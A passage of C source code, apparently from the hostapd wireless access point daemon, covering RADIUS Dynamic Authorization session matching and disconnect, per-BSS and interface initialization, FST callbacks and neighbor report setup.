os_memcmp(&hapd->conf->own_ip_addr.u.v4, attr->nas_ip_addr, 4) != 0)) { wpa_printf(MSG_DEBUG, "RADIUS DAS: NAS-IP-Address mismatch"); return 1; } #ifdef CONFIG_IPV6 if (attr->nas_ipv6_addr && (hapd->conf->own_ip_addr.af != AF_INET6 || os_memcmp(&hapd->conf->own_ip_addr.u.v6, attr->nas_ipv6_addr, 16) != 0)) { wpa_printf(MSG_DEBUG, "RADIUS DAS: NAS-IPv6-Address mismatch"); return 1; } #endif /* CONFIG_IPV6 */ return 0; } static struct sta_info * hostapd_das_find_sta(struct hostapd_data *hapd, struct radius_das_attrs *attr, int *multi) { struct sta_info *selected, *sta; char buf[128]; int num_attr = 0; int count; *multi = 0; for (sta = hapd->sta_list; sta; sta = sta->next) sta->radius_das_match = 1; if (attr->sta_addr) { num_attr++; sta = ap_get_sta(hapd, attr->sta_addr); if (!sta) { wpa_printf(MSG_DEBUG, "RADIUS DAS: No Calling-Station-Id match"); return NULL; } selected = sta; for (sta = hapd->sta_list; sta; sta = sta->next) { if (sta != selected) sta->radius_das_match = 0; } wpa_printf(MSG_DEBUG, "RADIUS DAS: Calling-Station-Id match"); } if (attr->acct_session_id) { num_attr++; if (attr->acct_session_id_len != 16) { wpa_printf(MSG_DEBUG, "RADIUS DAS: Acct-Session-Id cannot match"); return NULL; } count = 0; for (sta = hapd->sta_list; sta; sta = sta->next) { if (!sta->radius_das_match) continue; os_snprintf(buf, sizeof(buf), "%016llX", (unsigned long long) sta->acct_session_id); if (os_memcmp(attr->acct_session_id, buf, 16) != 0) sta->radius_das_match = 0; else count++; } if (count == 0) { wpa_printf(MSG_DEBUG, "RADIUS DAS: No matches remaining after Acct-Session-Id check"); return NULL; } wpa_printf(MSG_DEBUG, "RADIUS DAS: Acct-Session-Id match"); } if (attr->acct_multi_session_id) { num_attr++; if (attr->acct_multi_session_id_len != 16) { wpa_printf(MSG_DEBUG, "RADIUS DAS: Acct-Multi-Session-Id cannot match"); return NULL; } count = 0; for (sta = hapd->sta_list; sta; sta = sta->next) { if (!sta->radius_das_match) continue; if (!sta->eapol_sm || !sta->eapol_sm->acct_multi_session_id) { sta->radius_das_match = 0; continue; } os_snprintf(buf, sizeof(buf), "%016llX", (unsigned long long) sta->eapol_sm->acct_multi_session_id); if (os_memcmp(attr->acct_multi_session_id, buf, 16) != 0) sta->radius_das_match = 0; else count++; } if (count == 0) { wpa_printf(MSG_DEBUG, "RADIUS DAS: No matches remaining after Acct-Multi-Session-Id check"); return NULL; } wpa_printf(MSG_DEBUG, "RADIUS DAS: Acct-Multi-Session-Id match"); } if (attr->cui) { num_attr++; count = 0; for (sta = hapd->sta_list; sta; sta = sta->next) { struct wpabuf *cui; if (!sta->radius_das_match) continue; cui = ieee802_1x_get_radius_cui(sta->eapol_sm); if (!cui || wpabuf_len(cui) != attr->cui_len || os_memcmp(wpabuf_head(cui), attr->cui, attr->cui_len) != 0) sta->radius_das_match = 0; else count++; } if (count == 0) { wpa_printf(MSG_DEBUG, "RADIUS DAS: No matches remaining after Chargeable-User-Identity check"); return NULL; } wpa_printf(MSG_DEBUG, "RADIUS DAS: Chargeable-User-Identity match"); } if (attr->user_name) { num_attr++; count = 0; for (sta = hapd->sta_list; sta; sta = sta->next) { u8 *identity; size_t identity_len; if (!sta->radius_das_match) continue; identity = ieee802_1x_get_identity(sta->eapol_sm, &identity_len); if (!identity || identity_len != attr->user_name_len || os_memcmp(identity, attr->user_name, identity_len) != 0) sta->radius_das_match = 0; else count++; } if (count == 0) { wpa_printf(MSG_DEBUG, "RADIUS DAS: No matches remaining after User-Name check"); return NULL; } wpa_printf(MSG_DEBUG, "RADIUS DAS: User-Name match"); } if (num_attr == 0) { /* * In theory, we could match all current associations, but it * seems safer to just reject requests that do not include any * session identification attributes. */ wpa_printf(MSG_DEBUG, "RADIUS DAS: No session identification attributes included"); return NULL; } selected = NULL; for (sta = hapd->sta_list; sta; sta = sta->next) { if (sta->radius_das_match) { if (selected) { *multi = 1; return NULL; } selected = sta; } } return selected; } static int hostapd_das_disconnect_pmksa(struct hostapd_data *hapd, struct radius_das_attrs *attr) { if (!hapd->wpa_auth) return -1; return wpa_auth_radius_das_disconnect_pmksa(hapd->wpa_auth, attr); } static enum radius_das_res hostapd_das_disconnect(void *ctx, struct radius_das_attrs *attr) { struct hostapd_data *hapd = ctx; struct sta_info *sta; int multi; if (hostapd_das_nas_mismatch(hapd, attr)) return RADIUS_DAS_NAS_MISMATCH; sta = hostapd_das_find_sta(hapd, attr, &multi); if (sta == NULL) { if (multi) { wpa_printf(MSG_DEBUG, "RADIUS DAS: Multiple sessions match - not supported"); return RADIUS_DAS_MULTI_SESSION_MATCH; } if (hostapd_das_disconnect_pmksa(hapd, attr) == 0) { wpa_printf(MSG_DEBUG, "RADIUS DAS: PMKSA cache entry matched"); return RADIUS_DAS_SUCCESS; } wpa_printf(MSG_DEBUG, "RADIUS DAS: No matching session found"); return RADIUS_DAS_SESSION_NOT_FOUND; } wpa_printf(MSG_DEBUG, "RADIUS DAS: Found a matching session " MACSTR " - disconnecting", MAC2STR(sta->addr)); wpa_auth_pmksa_remove(hapd->wpa_auth, sta->addr); hostapd_drv_sta_deauth(hapd, sta->addr, WLAN_REASON_PREV_AUTH_NOT_VALID); ap_sta_deauthenticate(hapd, sta, WLAN_REASON_PREV_AUTH_NOT_VALID); return RADIUS_DAS_SUCCESS; } #endif /* CONFIG_NO_RADIUS */ /** * hostapd_setup_bss - Per-BSS setup (initialization) * @hapd: Pointer to BSS data * @first: Whether this BSS is the first BSS of an interface; -1 = not first, * but interface may exist * * This function is used to initialize all per-BSS data structures and * resources. This gets called in a loop for each BSS when an interface is * initialized. Most of the modules that are initialized here will be * deinitialized in hostapd_cleanup(). */ static int hostapd_setup_bss(struct hostapd_data *hapd, int first) { struct hostapd_bss_config *conf = hapd->conf; u8 ssid[SSID_MAX_LEN + 1]; int ssid_len, set_ssid; char force_ifname[IFNAMSIZ]; u8 if_addr[ETH_ALEN]; int flush_old_stations = 1; wpa_printf(MSG_DEBUG, "%s(hapd=%p (%s), first=%d)", __func__, hapd, conf->iface, first); #ifdef EAP_SERVER_TNC if (conf->tnc && tncs_global_init() < 0) { wpa_printf(MSG_ERROR, "Failed to initialize TNCS"); return -1; } #endif /* EAP_SERVER_TNC */ if (hapd->started) { wpa_printf(MSG_ERROR, "%s: Interface %s was already started", __func__, conf->iface); return -1; } hapd->started = 1; if (!first || first == -1) { u8 *addr = hapd->own_addr; if (!is_zero_ether_addr(conf->bssid)) { /* Allocate the configured BSSID. */ os_memcpy(hapd->own_addr, conf->bssid, ETH_ALEN); if (hostapd_mac_comp(hapd->own_addr, hapd->iface->bss[0]->own_addr) == 0) { wpa_printf(MSG_ERROR, "BSS '%s' may not have " "BSSID set to the MAC address of " "the radio", conf->iface); return -1; } } else if (hapd->iconf->use_driver_iface_addr) { addr = NULL; } else { /* Allocate the next available BSSID. */ do { inc_byte_array(hapd->own_addr, ETH_ALEN); } while (mac_in_conf(hapd->iconf, hapd->own_addr)); } hapd->interface_added = 1; if (hostapd_if_add(hapd->iface->bss[0], WPA_IF_AP_BSS, conf->iface, addr, hapd, &hapd->drv_priv, force_ifname, if_addr, conf->bridge[0] ? conf->bridge : NULL, first == -1)) { wpa_printf(MSG_ERROR, "Failed to add BSS (BSSID=" MACSTR ")", MAC2STR(hapd->own_addr)); hapd->interface_added = 0; return -1; } if (!addr) os_memcpy(hapd->own_addr, if_addr, ETH_ALEN); } if (conf->wmm_enabled < 0) conf->wmm_enabled = hapd->iconf->ieee80211n; #ifdef CONFIG_IEEE80211R if (is_zero_ether_addr(conf->r1_key_holder)) os_memcpy(conf->r1_key_holder, hapd->own_addr, ETH_ALEN); #endif /* CONFIG_IEEE80211R */ #ifdef CONFIG_MESH if (hapd->iface->mconf == NULL) flush_old_stations = 0; #endif /* CONFIG_MESH */ if (flush_old_stations) hostapd_flush_old_stations(hapd, WLAN_REASON_PREV_AUTH_NOT_VALID); hostapd_set_privacy(hapd, 0); hostapd_broadcast_wep_clear(hapd); if (hostapd_setup_encryption(conf->iface, hapd)) return -1; /* * Fetch the SSID from the system and use it or, * if one was specified in the config file, verify they * match. */ ssid_len = hostapd_get_ssid(hapd, ssid, sizeof(ssid)); if (ssid_len < 0) { wpa_printf(MSG_ERROR, "Could not read SSID from system"); return -1; } if (conf->ssid.ssid_set) { /* * If SSID is specified in the config file and it differs * from what is being used then force installation of the * new SSID. */ set_ssid = (conf->ssid.ssid_len != (size_t) ssid_len || os_memcmp(conf->ssid.ssid, ssid, ssid_len) != 0); } else { /* * No SSID in the config file; just use the one we got * from the system. */ set_ssid = 0; conf->ssid.ssid_len = ssid_len; os_memcpy(conf->ssid.ssid, ssid, conf->ssid.ssid_len); } if (!hostapd_drv_none(hapd)) { wpa_printf(MSG_ERROR, "Using interface %s with hwaddr " MACSTR " and ssid \"%s\"", conf->iface, MAC2STR(hapd->own_addr), wpa_ssid_txt(conf->ssid.ssid, conf->ssid.ssid_len)); } if (hostapd_setup_wpa_psk(conf)) { wpa_printf(MSG_ERROR, "WPA-PSK setup failed."); return -1; } /* Set SSID for the kernel driver (to be used in beacon and probe * response frames) */ if (set_ssid && hostapd_set_ssid(hapd, conf->ssid.ssid, conf->ssid.ssid_len)) { wpa_printf(MSG_ERROR, "Could not set SSID for kernel driver"); return -1; } if (wpa_debug_level <= MSG_MSGDUMP) conf->radius->msg_dumps = 1; #ifndef CONFIG_NO_RADIUS hapd->radius = radius_client_init(hapd, conf->radius); if (hapd->radius == NULL) { wpa_printf(MSG_ERROR, "RADIUS client initialization failed."); return -1; } if (conf->radius_das_port) { struct radius_das_conf das_conf; os_memset(&das_conf, 0, sizeof(das_conf)); das_conf.port = conf->radius_das_port; das_conf.shared_secret = conf->radius_das_shared_secret; das_conf.shared_secret_len = conf->radius_das_shared_secret_len; das_conf.client_addr = &conf->radius_das_client_addr; das_conf.time_window = conf->radius_das_time_window; das_conf.require_event_timestamp = conf->radius_das_require_event_timestamp; das_conf.require_message_authenticator = conf->radius_das_require_message_authenticator; das_conf.ctx = hapd; das_conf.disconnect = hostapd_das_disconnect; hapd->radius_das = radius_das_init(&das_conf); if (hapd->radius_das == NULL) { wpa_printf(MSG_ERROR, "RADIUS DAS initialization " "failed."); return -1; } } #endif /* CONFIG_NO_RADIUS */ if (hostapd_acl_init(hapd)) { wpa_printf(MSG_ERROR, "ACL initialization failed."); return -1; } if (hostapd_init_wps(hapd, conf)) return -1; if (authsrv_init(hapd) < 0) return -1; if (ieee802_1x_init(hapd)) { wpa_printf(MSG_ERROR, "IEEE 802.1X initialization failed."); return -1; } if ((conf->wpa || conf->osen) && hostapd_setup_wpa(hapd)) return -1; if (accounting_init(hapd)) { wpa_printf(MSG_ERROR, "Accounting initialization failed."); return -1; } if (conf->ieee802_11f && (hapd->iapp = iapp_init(hapd, conf->iapp_iface)) == NULL) { wpa_printf(MSG_ERROR, "IEEE 802.11F (IAPP) initialization " "failed."); return -1; } #ifdef CONFIG_INTERWORKING if (gas_serv_init(hapd)) { wpa_printf(MSG_ERROR, "GAS server initialization failed"); return -1; } if (conf->qos_map_set_len && hostapd_drv_set_qos_map(hapd, conf->qos_map_set, conf->qos_map_set_len)) { wpa_printf(MSG_ERROR, "Failed to initialize QoS Map"); return -1; } #endif /* CONFIG_INTERWORKING */ if (conf->bss_load_update_period && bss_load_update_init(hapd)) { wpa_printf(MSG_ERROR, "BSS Load initialization failed"); return -1; } if (conf->proxy_arp) { if (x_snoop_init(hapd)) { wpa_printf(MSG_ERROR, "Generic snooping infrastructure initialization failed"); return -1; } if (dhcp_snoop_init(hapd)) { wpa_printf(MSG_ERROR, "DHCP snooping initialization failed"); return -1; } if (ndisc_snoop_init(hapd)) { wpa_printf(MSG_ERROR, "Neighbor Discovery snooping initialization failed"); return -1; } } if (!hostapd_drv_none(hapd) && vlan_init(hapd)) { wpa_printf(MSG_ERROR, "VLAN initialization failed."); return -1; } if (!conf->start_disabled && ieee802_11_set_beacon(hapd) < 0) return -1; if (hapd->wpa_auth && wpa_init_keys(hapd->wpa_auth) < 0) return -1; if (hapd->driver && hapd->driver->set_operstate) hapd->driver->set_operstate(hapd->drv_priv, 1); return 0; } static void hostapd_tx_queue_params(struct hostapd_iface *iface) { struct hostapd_data *hapd = iface->bss[0]; int i; struct hostapd_tx_queue_params *p; #ifdef CONFIG_MESH if (iface->mconf == NULL) return; #endif /* CONFIG_MESH */ for (i = 0; i < NUM_TX_QUEUES; i++) { p = &iface->conf->tx_queue[i]; if (hostapd_set_tx_queue_params(hapd, i, p->aifs, p->cwmin, p->cwmax, p->burst)) { wpa_printf(MSG_DEBUG, "Failed to set TX queue " "parameters for queue %d.", i); /* Continue anyway */ } } } static int hostapd_set_acl_list(struct hostapd_data *hapd, struct mac_acl_entry *mac_acl, int n_entries, u8 accept_acl) { struct hostapd_acl_params *acl_params; int i, err; acl_params = os_zalloc(sizeof(*acl_params) + (n_entries * sizeof(acl_params->mac_acl[0]))); if (!acl_params) return -ENOMEM; for (i = 0; i < n_entries; i++) os_memcpy(acl_params->mac_acl[i].addr, mac_acl[i].addr, ETH_ALEN); acl_params->acl_policy = accept_acl; acl_params->num_mac_acl = n_entries; err = hostapd_drv_set_acl(hapd, acl_params); os_free(acl_params); return err; } static void hostapd_set_acl(struct hostapd_data *hapd) { struct hostapd_config *conf = hapd->iconf; int err; u8 accept_acl; if (hapd->iface->drv_max_acl_mac_addrs == 0) return; if (conf->bss[0]->macaddr_acl == DENY_UNLESS_ACCEPTED) { accept_acl = 1; err = hostapd_set_acl_list(hapd, conf->bss[0]->accept_mac, conf->bss[0]->num_accept_mac, accept_acl); if (err) { wpa_printf(MSG_DEBUG, "Failed to set accept acl"); return; } } else if (conf->bss[0]->macaddr_acl == ACCEPT_UNLESS_DENIED) { accept_acl = 0; err = hostapd_set_acl_list(hapd, conf->bss[0]->deny_mac, conf->bss[0]->num_deny_mac, accept_acl); if (err) { wpa_printf(MSG_DEBUG, "Failed to set deny acl"); return; } } } static int start_ctrl_iface_bss(struct hostapd_data *hapd) { if (!hapd->iface->interfaces || !hapd->iface->interfaces->ctrl_iface_init) return 0; if (hapd->iface->interfaces->ctrl_iface_init(hapd)) { wpa_printf(MSG_ERROR, "Failed to setup control interface for %s", hapd->conf->iface); return -1; } return 0; } static int start_ctrl_iface(struct hostapd_iface *iface) { size_t i; if (!iface->interfaces || !iface->interfaces->ctrl_iface_init) return 0; for (i = 0; i < iface->num_bss; i++) { struct hostapd_data *hapd = iface->bss[i]; if (iface->interfaces->ctrl_iface_init(hapd)) { wpa_printf(MSG_ERROR, "Failed to setup control interface for %s", hapd->conf->iface); return -1; } } return 0; } static void channel_list_update_timeout(void *eloop_ctx, void *timeout_ctx) { struct hostapd_iface *iface = eloop_ctx; if (!iface->wait_channel_update) { wpa_printf(MSG_INFO, "Channel list update timeout, but interface was not waiting for it"); return; } /* * It is possible that the existing channel list is acceptable, so try * to proceed. */ wpa_printf(MSG_DEBUG, "Channel list update timeout - try to continue anyway"); setup_interface2(iface); } void hostapd_channel_list_updated(struct hostapd_iface *iface, int initiator) { if (!iface->wait_channel_update || initiator != REGDOM_SET_BY_USER) return; wpa_printf(MSG_DEBUG, "Channel list updated - continue setup"); eloop_cancel_timeout(channel_list_update_timeout, iface, NULL); setup_interface2(iface); } static int setup_interface(struct hostapd_iface *iface) { struct hostapd_data *hapd = iface->bss[0]; size_t i; /* * It is possible that setup_interface() is called after the interface * was disabled etc., in which case driver_ap_teardown is possibly set * to 1. Clear it here so any other key/station deletion, which is not * part of a teardown flow, would also call the relevant driver * callbacks. */ iface->driver_ap_teardown = 0; if (!iface->phy[0]) { const char *phy = hostapd_drv_get_radio_name(hapd); if (phy) { wpa_printf(MSG_DEBUG, "phy: %s", phy); os_strlcpy(iface->phy, phy, sizeof(iface->phy)); } } /* * Make sure that all BSSes get configured with a pointer to the same * driver interface. */ for (i = 1; i < iface->num_bss; i++) { iface->bss[i]->driver = hapd->driver; iface->bss[i]->drv_priv = hapd->drv_priv; } if (hostapd_validate_bssid_configuration(iface)) return -1; /* * Initialize control interfaces early to allow external monitoring of * channel setup operations that may take considerable amount of time * especially for DFS cases. */ if (start_ctrl_iface(iface)) return -1; if (hapd->iconf->country[0] && hapd->iconf->country[1]) { char country[4], previous_country[4]; hostapd_set_state(iface, HAPD_IFACE_COUNTRY_UPDATE); if (hostapd_get_country(hapd, previous_country) < 0) previous_country[0] = '\0'; os_memcpy(country, hapd->iconf->country, 3); country[3] = '\0'; if (hostapd_set_country(hapd, country) < 0) { wpa_printf(MSG_ERROR, "Failed to set country code"); return -1; } wpa_printf(MSG_DEBUG, "Previous country code %s, new country code %s", previous_country, country); if (os_strncmp(previous_country, country, 2) != 0) { wpa_printf(MSG_DEBUG, "Continue interface setup after channel list update"); iface->wait_channel_update = 1; eloop_register_timeout(5, 0, channel_list_update_timeout, iface, NULL); return 0; } } return setup_interface2(iface); } static int setup_interface2(struct hostapd_iface *iface) { iface->wait_channel_update = 0; if (hostapd_get_hw_features(iface)) { /* Not all drivers support this yet, so continue without hw * feature data. */ } else { int ret = hostapd_select_hw_mode(iface); if (ret < 0) { wpa_printf(MSG_ERROR, "Could not select hw_mode and " "channel. (%d)", ret); goto fail; } if (ret == 1) { wpa_printf(MSG_DEBUG, "Interface initialization will be completed in a callback (ACS)"); return 0; } ret = hostapd_check_ht_capab(iface); if (ret < 0) goto fail; if (ret == 1) { wpa_printf(MSG_DEBUG, "Interface initialization will " "be completed in a callback"); return 0; } if (iface->conf->ieee80211h) wpa_printf(MSG_DEBUG, "DFS support is enabled"); } return hostapd_setup_interface_complete(iface, 0); fail: hostapd_set_state(iface, HAPD_IFACE_DISABLED); wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, AP_EVENT_DISABLED); if (iface->interfaces && iface->interfaces->terminate_on_error) eloop_terminate(); return -1; } #ifdef CONFIG_FST static const u8 * fst_hostapd_get_bssid_cb(void *ctx) { struct hostapd_data *hapd = ctx; return hapd->own_addr; } static void fst_hostapd_get_channel_info_cb(void *ctx, enum hostapd_hw_mode *hw_mode, u8 *channel) { struct hostapd_data *hapd = ctx; *hw_mode = ieee80211_freq_to_chan(hapd->iface->freq, channel); } static void fst_hostapd_set_ies_cb(void *ctx, const struct wpabuf *fst_ies) { struct hostapd_data *hapd = ctx; if (hapd->iface->fst_ies != fst_ies) { hapd->iface->fst_ies = fst_ies; if (ieee802_11_set_beacon(hapd)) wpa_printf(MSG_WARNING, "FST: Cannot set beacon"); } } static int fst_hostapd_send_action_cb(void *ctx, const u8 *da, struct wpabuf *buf) { struct hostapd_data *hapd = ctx; return hostapd_drv_send_action(hapd, hapd->iface->freq, 0, da, wpabuf_head(buf), wpabuf_len(buf)); } static const struct wpabuf * fst_hostapd_get_mb_ie_cb(void *ctx, const u8 *addr) { struct hostapd_data *hapd = ctx; struct sta_info *sta = ap_get_sta(hapd, addr); return sta ? sta->mb_ies : NULL; } static void fst_hostapd_update_mb_ie_cb(void *ctx, const u8 *addr, const u8 *buf, size_t size) { struct hostapd_data *hapd = ctx; struct sta_info *sta = ap_get_sta(hapd, addr); if (sta) { struct mb_ies_info info; if (!mb_ies_info_by_ies(&info, buf, size)) { wpabuf_free(sta->mb_ies); sta->mb_ies = mb_ies_by_info(&info); } } } static const u8 * fst_hostapd_get_sta(struct fst_get_peer_ctx **get_ctx, Boolean mb_only) { struct sta_info *s = (struct sta_info *) *get_ctx; if (mb_only) { for (; s && !s->mb_ies; s = s->next) ; } if (s) { *get_ctx = (struct fst_get_peer_ctx *) s->next; return s->addr; } *get_ctx = NULL; return NULL; } static const u8 * fst_hostapd_get_peer_first(void *ctx, struct fst_get_peer_ctx **get_ctx, Boolean mb_only) { struct hostapd_data *hapd = ctx; *get_ctx = (struct fst_get_peer_ctx *) hapd->sta_list; return fst_hostapd_get_sta(get_ctx, mb_only); } static const u8 * fst_hostapd_get_peer_next(void *ctx, struct fst_get_peer_ctx **get_ctx, Boolean mb_only) { return fst_hostapd_get_sta(get_ctx, mb_only); } void fst_hostapd_fill_iface_obj(struct hostapd_data *hapd, struct fst_wpa_obj *iface_obj) { iface_obj->ctx = hapd; iface_obj->get_bssid = fst_hostapd_get_bssid_cb; iface_obj->get_channel_info = fst_hostapd_get_channel_info_cb; iface_obj->set_ies = fst_hostapd_set_ies_cb; iface_obj->send_action = fst_hostapd_send_action_cb; iface_obj->get_mb_ie = fst_hostapd_get_mb_ie_cb; iface_obj->update_mb_ie = fst_hostapd_update_mb_ie_cb; iface_obj->get_peer_first = fst_hostapd_get_peer_first; iface_obj->get_peer_next = fst_hostapd_get_peer_next; } #endif /* CONFIG_FST */ #ifdef NEED_AP_MLME static enum nr_chan_width hostapd_get_nr_chan_width(struct hostapd_data *hapd, int ht, int vht) { if (!ht && !vht) return NR_CHAN_WIDTH_20; if (!hapd->iconf->secondary_channel) return NR_CHAN_WIDTH_20; if (!vht || hapd->iconf->vht_oper_chwidth == VHT_CHANWIDTH_USE_HT) return NR_CHAN_WIDTH_40; if (hapd->iconf->vht_oper_chwidth == VHT_CHANWIDTH_80MHZ) return NR_CHAN_WIDTH_80; if (hapd->iconf->vht_oper_chwidth == VHT_CHANWIDTH_160MHZ) return NR_CHAN_WIDTH_160; if (hapd->iconf->vht_oper_chwidth == VHT_CHANWIDTH_80P80MHZ) return NR_CHAN_WIDTH_80P80; return NR_CHAN_WIDTH_20; } #endif /* NEED_AP_MLME */ static void hostapd_set_own_neighbor_report(struct hostapd_data *hapd) { #ifdef NEED_AP_MLME u16 capab = hostapd_own_capab_info(hapd); int ht = hapd->iconf->ieee80211n && !hapd->conf->disable_11n; int vht = hapd->iconf->ieee80211ac && !hapd->conf->disable_11ac; struct wpa_ssid_value ssid; u8 channel, op_class; int center_freq1 = 0, center_freq2 = 0; enum nr_chan_width width; u32 bssid_info; struct wpabuf *nr; if (!(hapd->conf->radio_measurements[0] & WLAN_RRM_CAPS_NEIGHBOR_REPORT)) return; bssid_info = 3; /* AP is reachable */ bssid_info |= NEI_REP_BSSID_INFO_SECURITY; /* "same as the AP" */ bssid_info |= NEI_REP_BSSID_INFO_KEY_SCOPE; /* "same as the AP" */ if (capab & WLAN_CAPABILITY_SPECTRUM_MGMT) bssid_info |= NEI_REP_BSSID_INFO_SPECTRUM_MGMT; bssid_info |= NEI_REP_BSSID_INFO_RM; /* RRM is supported */ if (hapd->conf->wmm_enabled) { bssid_info |= NEI_REP_BSSID_INFO_QOS; if (hapd->conf->wmm_uapsd && (hapd->iface->drv_flags & WPA_DRIVER_FLAGS_AP_UAPSD)) bssid_info |= NEI_REP_BSSID_INFO_APSD; } if (ht) { bssid_info |= NEI_REP_BSSID_INFO_HT | NEI_REP_BSSID_INFO_DELAYED_BA; /* VHT bit added in IEEE P802.11-REVmc/D4.3 */ if (vht) bssid_info |= NEI_REP_BSSID_INFO_VHT; } /* TODO: Set NEI_REP_BSSID_INFO_MOBILITY_DOMAIN if MDE is set */ ieee80211_freq_to_channel_ext(hapd->iface->freq, hapd->iconf->secondary_channel, hapd->iconf->vht_oper_chwidth, &op_class, &channel); width = hostapd_get_nr_chan_width(hapd, ht, vht); if (vht) { center_freq1 = ieee80211_chan_to_freq( NULL, op_class, hapd->iconf->vht_oper_centr_freq_seg0_idx); if (width == NR_CHAN_WIDTH_80P80) center_freq2 = ieee80211_chan_to_freq( NULL, op_class, hapd->iconf->vht_oper_centr_freq_seg1_idx); } else if (ht) { center_freq1 = hapd->iface->freq + 10 * hapd->iconf->secondary_channel; } ssid.ssid_len = hapd->conf->ssid.ssid_len; os_memcpy(ssid.ssid, hapd->conf->ssid.ssid, ssid.ssid_len); /* * Neighbor Report element size = BSSID + BSSID info + op_class + chan + * phy type + wide bandwidth channel subelement. */ nr = wpabuf_alloc(ETH_ALEN + 4 + 1 + 1 + 1 + 5); if (!nr) return; wpabuf_put_data(nr, hapd->own_addr, ETH_ALEN); wpabuf_put_le32(nr, bssid_info); wpabuf_put_u8(nr, op_class); wpabuf_put_u8(nr, channel); wpabuf_put_u8(nr, ieee80211_get_phy_type(hapd->iface->freq, ht, vht)); /* * Wide Bandwidth Channel subelement may be needed to allow the * receiving STA to send packets to the AP. See IEEE P802.11-REVmc/D5.0 * Figure 9-301. */ wpabuf_put_u8(nr, WNM_NEIGHBOR_WIDE_BW_CHAN); wpabuf_put_u8(nr, 3); wpabuf_put_u8(nr, width); wpabuf_put_u8(nr, center_freq1); wpabuf_put_u8(nr, center_freq2); hostapd_neighbor_set(hapd, hapd->own_addr, &ssid, nr, hapd->iconf->lci, hapd->iconf->civic); wpabuf_free(nr); #endif /* NEED_AP_MLME */ } static int hostapd_setup_interface_complete_sync(struct hostapd_iface *iface, int err) { struct hostapd_data *hapd = iface->bss[0]; size_t j; u8 *prev_addr; int delay_apply_cfg = 0; int res_dfs_offload = 0; if (err) goto fail; wpa_printf(MSG_DEBUG, "Completing interface initialization"); if (iface->conf->channel) { #ifdef NEED_AP_MLME int res; #endif /* NEED_AP_MLME */ iface->freq = hostapd_hw_get_freq(hapd, iface->conf->channel); wpa_printf(MSG_DEBUG, "Mode: %s Channel: %d " "Frequency: %d MHz", hostapd_hw_mode_txt(iface->conf->hw_mode), iface->conf->channel, iface->freq); #ifdef NEED_AP_MLME /* Handle DFS only if it is not offloaded to the driver */ if (!(iface->drv_flags & WPA_DRIVER_FLAGS_DFS_OFFLOAD)) { /* Check DFS */ res = hostapd_handle_dfs(iface); if (res <= 0) { if (res < 0) goto fail; return res; } } else { /* If DFS is offloaded to the driver */ res_dfs_offload = hostapd_handle_dfs_offload(iface); if (res_dfs_offload <= 0) { if (res_dfs_offload < 0) goto fail; } else { wpa_printf(MSG_DEBUG, "Proceed with AP/channel setup"); /* * If this is a DFS channel, move to completing * AP setup. */ if (res_dfs_offload == 1) goto dfs_offload; /* Otherwise fall through. */ } } #endif /* NEED_AP_MLME */ #ifdef CONFIG_MESH if (iface->mconf != NULL) { wpa_printf(MSG_DEBUG, "%s: Mesh configuration will be applied while joining the mesh network", iface->bss[0]->conf->iface); delay_apply_cfg = 1; } #endif /* CONFIG_MESH */ if (!delay_apply_cfg && hostapd_set_freq(hapd, hapd->iconf->hw_mode, iface->freq, hapd->iconf->channel, hapd->iconf->ieee80211n, hapd->iconf->ieee80211ac, hapd->iconf->secondary_channel, hapd->iconf->vht_oper_chwidth, hapd->iconf->vht_oper_centr_freq_seg0_idx, hapd->iconf->vht_oper_centr_freq_seg1_idx)) { wpa_printf(MSG_ERROR, "Could not set channel for " "kernel driver"); goto fail; } } if (iface->current_mode) { if (hostapd_prepare_rates(iface, iface->current_mode)) { wpa_printf(MSG_ERROR, "Failed to prepare rates " "table."); hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_WARNING, "Failed to prepare rates table."); goto fail; } } if (hapd->iconf->rts_threshold > -1 && hostapd_set_rts(hapd, hapd->iconf->rts_threshold)) { wpa_printf(MSG_ERROR, "Could not set RTS threshold for " "kernel driver"); goto fail; } if (hapd->iconf->fragm_threshold > -1 && hostapd_set_frag(hapd, hapd->iconf->fragm_threshold)) { wpa_printf(MSG_ERROR, "Could not set fragmentation threshold " "for kernel driver"); goto fail; } prev_addr = hapd->own_addr; for (j = 0; j < iface->num_bss; j++) { hapd = iface->bss[j]; if (j) os_memcpy(hapd->own_addr, prev_addr, ETH_ALEN); if (hostapd_setup_bss(hapd, j == 0)) { do { hapd = iface->bss[j]; hostapd_bss_deinit_no_free(hapd); hostapd_free_hapd_data(hapd); } while (j-- > 0); goto fail; } if (is_zero_ether_addr(hapd->conf->bssid)) prev_addr = hapd->own_addr; } hapd = iface->bss[0]; hostapd_tx_queue_params(iface); ap_list_init(iface); hostapd_set_acl(hapd); if (hostapd_driver_commit(hapd) < 0) { wpa_printf(MSG_ERROR, "%s: Failed to commit driver " "configuration", __func__); goto fail; } /* * WPS UPnP module can be initialized only when the "upnp_iface" is up. * If "interface" and "upnp_iface" are the same (e.g., non-bridge * mode), the interface is up only after driver_commit, so initialize * WPS after driver_commit. */ for (j = 0; j < iface->num_bss; j++) { if (hostapd_init_wps_complete(iface->bss[j])) goto fail; } if ((iface->drv_flags & WPA_DRIVER_FLAGS_DFS_OFFLOAD) && !res_dfs_offload) { /* * If freq is DFS, and DFS is offloaded to the driver, then wait * for CAC to complete. */ wpa_printf(MSG_DEBUG, "%s: Wait for CAC to complete", __func__); return res_dfs_offload; } #ifdef NEED_AP_MLME dfs_offload: #endif /* NEED_AP_MLME */ #ifdef CONFIG_FST if (hapd->iconf->fst_cfg.group_id[0]) { struct fst_wpa_obj iface_obj; fst_hostapd_fill_iface_obj(hapd, &iface_obj); iface->fst = fst_attach(hapd->conf->iface, hapd->own_addr, &iface_obj, &hapd->iconf->fst_cfg); if (!iface->fst) { wpa_printf(MSG_ERROR, "Could not attach to FST %s", hapd->iconf->fst_cfg.group_id); goto fail; } } #endif /* CONFIG_FST */ hostapd_set_state(iface, HAPD_IFACE_ENABLED); wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, AP_EVENT_ENABLED); if (hapd->setup_complete_cb) hapd->setup_complete_cb(hapd->setup_complete_cb_ctx); wpa_printf(MSG_DEBUG, "%s: Setup of interface done.", iface->bss[0]->conf->iface); if (iface->interfaces && iface->interfaces->terminate_on_error > 0) iface->interfaces->terminate_on_error--; for (j = 0; j < iface->num_bss; j++) hostapd_set_own_neighbor_report(iface->bss[j]); return 0; fail: wpa_printf(MSG_ERROR, "Interface initialization failed"); hostapd_set_state(iface, HAPD_IFACE_DISABLED); wpa_msg(hapd->msg_ctx, MSG_INFO, 